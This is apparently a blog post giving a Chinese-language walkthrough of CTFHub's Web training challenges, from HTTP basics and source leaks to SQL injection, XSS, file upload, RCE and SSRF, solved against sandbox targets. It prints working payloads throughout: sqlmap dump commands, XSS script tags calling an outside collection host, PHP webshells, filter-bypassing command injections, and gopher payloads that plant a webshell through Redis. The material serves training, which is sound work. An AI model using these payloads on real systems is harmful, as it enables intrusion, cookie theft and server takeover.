欢迎光临
我们一直在努力

CTFHUB技能树-Web通关攻略

目录

HTTP协议

请求方式

320跳转

基础认证

相应包源代码

信息泄露

目录遍历

PHPINFO

备份文件下载

网站源码

bak文件

vim缓存

.DS_Store

git泄露

log:

stash:

index:

svn泄露

hg泄露:

弱口令:

默认口令:

整数型注入:

字符型注入:

报错注入:

布尔盲注:

时间注入:

MySQL结构:

Cookie注入:

UA注入:

Refer注入:

过滤空格:

XSS

反射型:

存储型:

DOM反射:

DOM跳转:

过滤空格:

过滤关键词:

文件上传

无验证:

前端验证:

MIME绕过:

文件头检测:

00截断:

双写绕过:

.htaccess:

RCE

eval执行:

文件包含:

php://input:

远程包含:

读取源代码:

命令注入:

过滤cat:

过滤空格:

过滤目录分隔符:

过滤运算符 :

综合练习:

SSRF

内网访问:

伪协议读取文件:

端口扫描:

POST请求:

上传文件:

FastCGI协议:

Redis协议:

url bypass:

数字ip bypass:

302跳转bypass:

DNS重绑定 bypass:


篇幅很长,除了图片有一万字,下回分小板块做笔记。

先将就着看,暂时给一种解题方法,后续更新会把原理,解题思路,解题方法详细说一下

HTTP协议

请求方式

出现这个界面

用bp抓包

复制提交

320跳转

用bp浏览器打开是这个界面

用bp进行抓包的同时点击give me flag

抓完之后,把包发到repeater,点击send 答案就出来了,然后粘贴提交

浏览器进入靶场,发现没flag,就试着抓一下包

抓到的包中把0改成1

改完之后放包

得到flag

基础认证

下载题目附件

进入靶场并抓包,点击click

随便输入用户名密码,并抓包

可以看到我输入的用户名和密码的base64编码

进行添加爆破位置

把下载的附件添加到payloads中

添加admin:

添加base64编码转换

取消URL转换

放包,然后找到200,点击response,得到答案

相应包源代码

打开靶场发现空白

点击f12查看元素,找到flag

信息泄露

目录遍历

点进去后发现很多目录

点进去找找就能找到flag文件

点开后直接复制粘贴就完事

PHPINFO

点开界面我们能看到PHP界面

往下找就对了,找到FLAG

备份文件下载

网站源码

打开发现这个界面

直接用脚本爆破,看到有这个文件

下载

开玩笑

把文件名也复制上去

找到flag

爆破脚本分享:

import requests
import time
​
#题目提供的常见文件名和后缀
​
filenames = ["web", "website", "backup", "back", "www", "wwwroot", "temp"]
extensions = ["tar", "tar.gz", "zip", "rar"]
​
#伪装成正常浏览器,避免被拦截
​
headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}
​
def scan_backup(base_url):
   """
  扫描目标网址下是否存在常见备份文件
  base_url: 例如 'http://challenge-xxx.sandbox.ctfhub.com:10800'
  """
   found = []
   for name in filenames:
       for ext in extensions:
           path = f"/{name}.{ext}"
           url = base_url + path
           try:
               resp = requests.get(url, headers=headers, timeout=5, allow_redirects=False)
               if resp.status_code == 200:
                   size = len(resp.content)
                   print(f"[+] 找到备份文件: {url} (大小: {size} 字节)")
                   found.append(url)
               elif resp.status_code in [301, 302]:
                   print(f"[*] 重定向 {url} -> {resp.headers.get('Location','未知')}")
               else:
                   print(f"[-] {resp.status_code} {path}")
           except Exception as e:
               print(f"[!] 请求 {url} 失败: {e}")
           time.sleep(0.3)  # 避免请求过快
   return found
​
if __name__ == "__main__":
​
#替换成你每次开启题目后的真实地址
​
    target = "http://challenge-82a3fbdb25105ae16.sandbox.ctfhub.com:10800"
    print(f"开始扫描 {target} …")
    results = scan_backup(target)
    if not results:
        print("\\n未发现常规备份文件,尝试扫描 /.git/HEAD 等版本控制泄露…")
​
#可以在此追加版本控制文件探测,如 .git/HEAD
​
        for extra in [".git/HEAD", ".svn/entries", "index.php.bak", "index.php.swp"]:
            url = target + "/" + extra
            try:
                resp = requests.get(url, headers=headers, timeout=5)
                if resp.status_code == 200:
                    print(f"[+] 找到特殊文件: {url}")
                    results.append(url)
            except Exception as e:
                print(f"[!] {url} 失败: {e}")
    else:
        print("\\n探测到的备份文件列表:")
        for r in results:
            print(r)

bak文件

看到提示,需要加index.php.bak

下载打开

vim缓存

出现这个界面

直接下载

下载打开

.DS_Store

还是下载文件访问

能在Linux和mac打开,所以导到Linux中

可以看到这个文件

用浏览器打开

出答案

git泄露

log:

直接用githack操作

找到最后的文件

git show找到flag

stash:

跟上个步骤一样

进入目录之后输入

  • git stash list

  • git stash pop

  • index:

    跟上面步骤一样,cd目录,直接git show

    svn泄露

    下载工具:

    wget -O dvcs-ripper.zip https://sourceforge.net/projects/dvcs-ripper.mirror/files/latest/download

    解压并进入:

    unzip dvcs-ripper.zip
    cd dvcs-ripper-master

    安装依赖库

    开始操作

    ./rip-svn.pl -v -u http://你的题目网址/.svn/

    找到.svn

    进入.svn,找到wc.db

    看到flag,尝试打开它

    发现打不开

    看pristine(源代码文件副本)有没有flag,按照下面步骤,找到flag

    hg泄露:

    首先进入到工具中

    使用工具下载泄露文件发现报错,可能是没有完整下载网站目录

    tree一下看看刚下载的网站目录

    查看一下可疑文件,找一下有关键字flag的文件,发现一个txt,直接访问jiu

    弱口令:

    随便输入用户名密码,用bp拦截

    找好爆破位置

    开始爆破,找到长度不同的便是需要的信息

    放包,填入用户名密码

    默认口令:

    发现是eyou邮件网关

    百度搜一下

    登入找到flag

    整数型注入:

    启动sqlmap,然后直接注入测试

    找到flag

    字符型注入:

    用sqlmap都是一个步骤

    报错注入:

    这里命令加一个–technique=E,这是只搞报错注入,要不然sqlmap会非常慢

    python sqlmap.py -u "http://challenge-c1b00e7a982e7416.sandbox.ctfhub.com:10800/?id=1" –technique=E –batch –dump

    布尔盲注:

    python sqlmap.py -u http://challenge-48bd92a580b7fb16.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag –dump

    时间注入:

    python sqlmap.py -u http://challenge-b43b2c671fd6ef83.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag –dump

    MySQL结构:

    python sqlmap.py -u "http://challenge-3e1bad0b0f42646c.sandbox.ctfhub.com:10800/?id=1" –batch –dump

    Cookie注入:

    python sqlmap.py -u "http://challenge-1486a03c08d91c44.sandbox.ctfhub.com:10800/" –cookie "id=1" –level 2 –batch –dump

    UA注入:

    python sqlmap.py -u "http://challenge-bc6dab312a6d0155.sandbox.ctfhub.com:10800/" –level 3 –batch –dump

    Refer注入:

    跑的慢死了,推荐手工注入,到时候更新会发

    python sqlmap.py -u "http://challenge-17a30cbe6cfb28e4.sandbox.ctfhub.com:10800/" –level 3 –batch –dump

    过滤空格:

    python sqlmap.py -u "http://challenge-a14dc59159e9ead7.sandbox.ctfhub.com:10800/?id=1" –tamper=space2comment –level 3 –batch –dump

    XSS

    反射型:

    进入xss平台,创建项目

    在创建的项目里,找到这种代码

    回到靶场,把复制的代码填进去,下面代码做演示,并不是真的

    点击提交之后,把上面的url复制,填到第二个框中

    出现成功标志代表恶意url替换成功

    返回xss平台查看记录,找到flag

    存储型:

    同上

    DOM反射:

    右键 → 查看网页源代码(或按 F12 看 Elements)。 找到 JavaScript 中接收你输入参数(如 ?text=)并动态写入页面的部分。 常见类似:

    document.getElementById("xx").innerHTML = "用户输入的内容";

    或

    $("#xx").html("用户输入的内容");

    假设原有代码是:

    $("#text")[0].innerHTML = '用户输入的内容';

    那么你可以构造:

    ';</script><script src="//ujs.cx/7Gr"></script>

    或者

    ';</script><sCRiPt sRC=//ujs.cx/7Gr></sCrIpT>

    如果是在 HTML 属性内(如 value="用户输入"),则需要先闭合属性:

    "><script src="//ujs.cx/7Gr"></script>

    ';</script><script src="//ujs.cx/7Gr"></script>

    DOM跳转:

    http://challenge-4a9b751e9d000ce8.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//ujs.cx/7Gr")

    在浏览框换成下面模式的代码,用自己的别复制粘贴

    下图就是恶意url

    把url填进去

    得到flag

    过滤空格:

    把空格给用/**/填充就行

    <sCRiPt/**/sRC=//ujs.cx/7Gr></sCrIpT>

    过滤关键词:

    混合大小写混淆:<sCRiPt> 双写绕过:<scr<script>ipt> 未过滤标签与事件:<svg>或 < img src=x οnerrοr=alert(1)>等

    • <sCRiPt sRC=//ujs.cx/7Gr></sCrIpT>

    文件上传

    无验证:

    先看靶场环境是php

    编一个一句话木马php文件,然后下载

    返回靶场上传文件

    可以看到上传文件路径

    把url和上传文件路径结合到一块,用蚁剑查看是否上传成功

    在蚁剑里找到flag文件

    找到flag

    前端验证:

    这个前端验证不能直接上传木马文件

    f12看源代码,只能上传jpg,phg,gif文件

    所以要把木马文件改一下

    用bp抓包,再把jpg改成php

    放包上传

    用蚁剑测试连接,找flag文件

    找到flag

    MIME绕过:

    这个也不能直接上传木马文件

    需要抓包,修改第17行的值,改成image/png

    放包再上传

    用蚁剑测试连接

    找到flag

    文件头检测:

    这个必须搞一个图片木马才能绕过

    截一个小图片

    把图片和木马结合到一块

    cat mm.png mm.php > mm_shell.png

    继续进行上传抓包,把png改成php

    url和路径结合

    蚁剑测试连接

    得到flag

    00截断:

    导入mm.jpg

    修改

    放包上传可能不显示上传路径,手动添加一下

    跟上面操作一样,用蚁剑测试连接,找到flag

    双写绕过:

    上传php木马

    抓包把php改成pphphp

    放包

    用蚁剑测试连接成功

    找到flag

    .htaccess:

    .htaccess文件,用.htaccess为文件名

    <FilesMatch "\\.jpg$">
      SetHandler application/x-httpd-php
    </FilesMatch>

    先上传.htaccess文件

    再上传图片木马文件

    把url和上传路径给结合,用·蚁剑验证

    得到flag

    RCE

    eval执行:

    这个界面

    http://靶场地址/?cmd=system("ls");

    http://靶场地址/?cmd=system("ls /");

    http://靶场地址/?cmd=system("cat /flag_17635");

    文件包含:

    构造执行phpinfo()命令的Payload,需要将POST参数设置为ctfhub=phpinfo();

    用火狐浏览器的hackbar填入一下内容

    构造执行查看当前目录下文件命令(ls)的Payload,需要将POST参数设置为ctfhub=system("ls");

    构造执行查看根目录下文件命令(ls /)的Payload,需要将POST参数设置为ctfhub=system("ls /");

    构造执行查看根目录下flag文件内容命令 (cat /flag)的Payload,需要将POST参数设置为ctfhub=system("cat /flag");

    得到flag

    php://input:

    若allow_url_include 为on则表示存在php://input

    用bp抓包,把get改成

    POST /?file=php://input HTTP/1.1

    在后面加个shell

    <?php system('ls /');?>

    放包,看到flag文件

    把shell改一下

    <?php system('cat /flag_5564'); ?>

    重新抓包,放包,看到flag

    远程包含:

    跟上个步骤相同

    查看是否符合条件

    继续用bp抓包放包

    改一下shell,放包找到flag

    读取源代码:

    题目中直接说 flag in/flag,所以直接使用 php://filter

    ?file=php://filter/resource=../../../flag

    得到flag

    命令注入:

    输入

    127.0.0.1;ls

    找到php文件

    输入

    127.0.0.1; base64 134641327427936.php

    可以看到base64编码

    复制粘贴,转换一下得到flag

    过滤cat:

    找到flag文件

    输入

    127.0.0.1; base64 flag_195939023183.php

    base64解码得到flag

    过滤空格:

    使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格

    127.0.0.1&ls

    127.0.0.1;base64${IFS}flag_1780761902775.php

    输入127.0.0.1;base64${IFS}flag_1780761902775.php

    得到flag的base64编码

    转换一下

    过滤目录分隔符:

    “过滤目录分隔符”是指在CTF的命令注入题目中,开发者会编写正则表达式等检测逻辑,专门检查并拦截用户输入参数里可能包含的路径分隔符(例如Linux下的 / 或Windows下的 \\ ),防止我们通过 cat /flag_is_here/flag.php 这样的路径直接读取文件。

    探查当前目录:

    127.0.0.1; ls

    发现 flag_is_here 目录。

    进入目录并列出文件:

    127.0.0.1; cd flag_is_here; ls

    发现 flag_284421968220721.php。

    使用 base64 读取文件:

    127.0.0.1; cd flag_is_here; base64 flag_284421968220721.php

    注意:这里使用了 / 吗?是的,flag_is_here/flag… 中包含 /,这会触发过滤。所以必须先 cd 进去,再 base64 文件名(不带路径)。这是关键!

    转换一下,搞定

    过滤运算符 :

    在本关过滤掉了 | &

    127.0.0.1;ls

    找到flag文件

    127.0.0.1; base64 flag_14463118421062.php

    解码

    综合练习:

    在本关过过滤了 | & ; / cat flag ctfhub 和空格

    列出当前目录文件(用 %0a 换行符代替 ;,ls 本身无空格)

    cat 用more 代替 空格用 < 代替 ;(命令分隔符)     用%0a代替

    在 IP 输入框中输入:

    /?ip=127.0.0.1%0als

    http://靶场地址/?ip=127.0.0.1%0acd%09fla*_here%0als

    http://靶场地址/?ip=127.0.0.1%0acd%09fla*_here%0abase64%09fla*.php

    进行解码

    SSRF

    内网访问:

    直接构造url=http://127.0.0.1/flag.php

    伪协议读取文件:

    我们要在Web目录里头找flag.php,最常用的Web目录网址是 var/www/html/flag.php

    用file://协议来读取这个文件

    file:///var/www/html/flag.php

    端口扫描:

    题目中提示flag在端口8000到9000中的一个,然后打开bp的intruder模块进行扫描

    先手动输入个端口

    把get发送到intruder添加爆破点

    如下图所示进行配置,进行爆破

    查看爆破长度,长度不同就是flag所在端口

    http://challenge-34317304de9bb91d.sandbox.ctfhub.com:10800/?url=127.0.0.1:8555

    浏览器访问端口,找到flag

    POST请求:

    我们直接使用disrearch进行扫描,可以看到flag文件

    访问,替换为自己的靶场

    http://challenge-b7b8dd9356bb1ff8.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

    f12找到key

    <!– Debug: key=ac29ca0a9cdea94b3ec59d22c149fdcb–>

    构造个原始post请求,把key替换为自己的

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    ​
    key=ac29ca0a9cdea94b3ec59d22c149fdcb

    把上面的进行两次url编码

    构造攻击paload

    http://challenge-b7b8dd9356bb1ff8.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dac29ca0a9cdea94b3ec59d22c149fdcb

    浏览器访问得到flag

    上传文件:

    在电脑桌面新建文本文件 upload.html,内容如下(替换 靶场地址):

    <!DOCTYPE html>
    <html>
    <body>
    <form action="http://challenge-081a20e06484f1c4.sandbox.ctfhub.com:10800/flag.php" method="post" enctype="multipart/form-data">
      <input type="file" name="file">
      <input type="submit">
    </form>
    </body>
    </html>

    然后用bp抓包

    上传文件抓包,把内容发送给decoder

    把没用的全删了

    只保留

    · POST /flag.php HTTP/1.1 · Host: → 改成 127.0.0.1(删除端口) · Content-Type: 保持原样(包含 boundary) · Content-Length: 保持原来的数值(因为文件内容没变) · 一个空行 · 请求体(以 –boundary 开头和结束的全部内容) 修改后应该类似这样(具体 boundary 和长度以你抓到的为准):

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Length: 153
    ​
    ——WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="file"; filename="test.txt"
    Content-Type: text/plain
    ​
    hello
    ——WebKitFormBoundary7MA4YWxkTrZu0gW–

    继续用url把这些两次编码在编码结果中,将所有的 %0A 替换成 %0D%0A(使用 Decoder 的查找替换,或复制到记事本中替换后贴回)。

    替换完成后,再次点击 Encode as URL → 第二次编码。

    在第二次编码结果的最前面加上 gopher://127.0.0.1:80/_(注意下划线 _ 后面直接跟编码内容,不加空格)。 得到类似:

    gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520190%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D—-WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250A%250D%250A——WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522hello.txt%2522%250D%250AContent-Type%253A%2520text%252Fplain%250D%250A%250D%250Ahello%250D%250A——WebKitFormBoundaryRiYZUcvOTFEgQ9gL–

    将上一步得到的 gopher://… 完整链接拼接到靶场地址后面:

    http://challenge-081a20e06484f1c4.sandbox.ctfhub.com:10800/?url=你的gopher链接

    http://challenge-3329fc8da94cfbf0.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520190%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D—-WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250A%250D%250A——WebKitFormBoundaryRiYZUcvOTFEgQ9gL%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522hello.txt%2522%250D%250AContent-Type%253A%2520text%252Fplain%250D%250A%250D%250Ahello%250D%250A——WebKitFormBoundaryRiYZUcvOTFEgQ9gL–

    进行浏览器访问,得到fiag

    FastCGI协议:

    kali下载gopherus工具,cd进去

    git clone https://github.com/tarunkant/Gopherus.git

    cd Gopherus

    启动

    python2 gopherus.py –exploit fastcgi

    /var/www/html/index.php

    看到gopher复制,进行两次url编码,

    http://challenge-081a20e06484f1c4.sandbox.ctfhub.com:10800/?url=这里粘贴编码的的gopher链接

    浏览器访问,看到flag文件

    cat flag文件再搞一次

    搞好之后再用浏览器访问,得到flag

    Redis协议:

    http://challenge-e07d9c0849b981ed.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%252Fvar%252Fwww%252Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    编码进行访问,发现一直转圈,不必管他

    直接访问这个,看到flag文件

    http://challenge-e07d9c0849b981ed.sandbox.ctfhub.com:10800/shell.php?cmd=ls%20/

    访问flag文件,得到flag

    http://challenge-e07d9c0849b981ed.sandbox.ctfhub.com:10800/shell.php?cmd=cat%20/flag_7abf5f6dd36a9a1a3b95ab10e8aebade

    url bypass:

    这道题是 SSRF URL Bypass,要求传入的 URL 中必须包含 http://notfound.ctfhub.com,但实际需要请求本地 127.0.0.1/flag.php。可以利用 URL 解析的差异绕过。

    http://你的靶场地址/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

    例子:

    http://challenge-6deae7421b238d3e.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

    访问得到flag

    数字ip bypass:

    这道题是 数字IP绕过,要求访问 127.0.0.1 但不能使用点分十进制(因为 127 和 172 被禁止)。我们可以使用其他表示法,例如:

    · 十进制整数:127.0.0.1 对应的整数是 2130706433。 · 十六进制:0x7f000001 或 0x7F000001(不区分大小写)。 · 八进制:0177.0.0.1(但包含 0177,其中 127 的八进制,仍然可能被检测到点分形式?最好避免点分)。 · 混合进制:例如 0x7f.0.0.1 等。

    我们用十进制

    http://你的靶场地址/?url=http://2130706433/flag.php

    例子:

    访问得到flag

    http://challenge-cb28f47f2ece774f.sandbox.ctfhub.com:10800/?url=http://2130706433/flag.php

    302跳转bypass:

    这道题的核心是利用 302 重定向 绕过 IP 检测。由于不能直接请求 127.0.0.1,但可以提交一个外部 URL,这个 URL 返回 302 并指向 http://127.0.0.1/flag.php,服务器会跟随跳转,从而访问内网资源。

    常见解法有以下几种(任选一种可用的):

    使用公共 302 跳转服务

    http://你的靶场地址/?url=http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%2Fflag.php

    这个不行

    使用本地域名

    http://你的靶场地址/?url=http://localhost/flag.php

    这个行

    使用通配符域名(如 xip.io 或 nip.io)

    http://你的靶场地址/?url=http://127.0.0.1.nip.io/flag.php

    DNS重绑定 bypass:

    这道题的解题思路,是利用DNS解析和请求之间的“时间差”来绕过IP限制。核心原理是:攻击者控制的域名,在第一次解析时返回一个合法的外网IP,以此通过服务器的IP检测;而在服务器真正发起资源请求时,第二次解析返回内网IP地址(如127.0.0.1),从而访问到本地的flag.php文件。

    查看过滤逻辑

    http://靶场地址/?url=file:///var/www/html/flag.php
    http://靶场地址/?url=file:///var/www/html/index.php

    你会看到index.php里大概有这样的代码,会拦截对127.0.0.1、172.0.0.0/8、10.0.0.0/8、192.168.0.0/16等内网地址的访问,所以我们需要绕过这个IP检测。

    获取一个DNS Rebinding域名: · 使用现成的在线平台是最快的方法。访问 https://lock.cmpxchg8b.com/rebinder.html。 · 在网站的第一个框中输入 127.0.0.1,第二个框中输入一个任意公网IP(如 1.1.1.1),点击 Generate 生成。 · 它会生成一串类似 7f000001.1d1db2d9.rbndr.us 的二级域名。这个域名就会配合时间差,轮询返回你设置的两个IP。 · 很多WriteUp也提到,可以直接使用域名 10.212.30.215,你可以直接试试这个看行不行。

    发送最终Payload:生成后,直接在浏览器或Burp中访问这个地址:

    http://靶场地址/?url=http://7f000001.1d1db2d9.rbndr.us/flag.php

    例子:

    http://challenge-b8fa944e10e65493.sandbox.ctfhub.com:10800/?url=http://7f000001.7f000002.rbndr.us/flag.php

    访问得到flag

    赞(0)
    未经允许不得转载:171主机测评 » CTFHUB技能树-Web通关攻略
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址